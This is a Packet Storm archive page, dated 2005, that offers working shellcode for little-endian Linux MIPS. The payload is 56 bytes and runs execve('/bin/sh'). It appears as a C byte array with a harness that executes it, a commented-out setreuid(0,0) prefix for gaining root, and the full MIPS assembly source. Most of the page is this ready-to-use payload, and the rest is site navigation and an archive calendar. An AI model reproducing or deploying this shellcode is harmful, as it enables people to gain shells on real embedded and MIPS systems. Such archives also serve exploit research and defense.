exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

linux-mipsel-execve-core.c

linux-mipsel-execve-core.c
Posted Nov 8, 2005
Authored by Charles Stevenson | Site bokeoa.com

56 bytes execve /bin/sh shellcode for Linux MIPS running in little-endian mode. linux-mipsel-execve-core.s is appended.

tags | shellcode
systems | linux
SHA-256 | 892a894f4ab144a5b2015aaa606544ed7f3ec962cc1146fdbf4a0f17aee9cc28

linux-mipsel-execve-core.c

Change Mirror Download
/* 56 bytes execve /bin/sh shellcode - linux-mipsel
* - by core (core@bokeoa.com)
*
* Note: For MIPS running in little-endian mode.
* Tested on a Cobalt Qube2 server running Linux 2.4.18
*
* Greetz to bighawk... i couldn't get his execve to work
* for some reason :/
*/

char code[] =
/* 16 byte setreuid(0,0) by bighawk */
//"\xff\xff\x04\x30\xff\xff\x05\x30"
//"\xe6\x0f\x02\x34\xcc\x48\x49\x03"

/* 56 byte execve("/bin/sh",["/bin/sh"],[]) by core */
"\xff\xff\x10\x04\xab\x0f\x02\x24"
"\x55\xf0\x46\x20\x66\x06\xff\x23"
"\xc2\xf9\xec\x23\x66\x06\xbd\x23"
"\x9a\xf9\xac\xaf\x9e\xf9\xa6\xaf"
"\x9a\xf9\xbd\x23\x21\x20\x80\x01"
"\x21\x28\xa0\x03\xcc\xcd\x44\x03"
"/bin/sh";

main() {
void (*a)() = (void *)code;
printf("size: %d bytes\n", sizeof(code));
a();
}
#;;; MIPS (Little Endian) Linux Execve /bin/sh Shellcode
#;;;
#;;; by Charles 'core' Stevenson <core@bokeoa.com>
#;;;
#;;; Greetz: bighawk, 0dd, #social (pulltheplug.org), #de (dievo.org)

.globl main

main:
.long 0x0410ffff
li $2, 4011
addi $6, $2, -4011
addi $31, $31, 0x666
sub $12, $31, 0x666 - 40
addi $29, $29, 0x666
sw $12, -0x666($29)
sw $6, -0x666+4($29)
sub $29, $29, 0x666
move $4, $12
move $5, $29
syscall 0xd1337
.ascii "/bin/sh"

Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close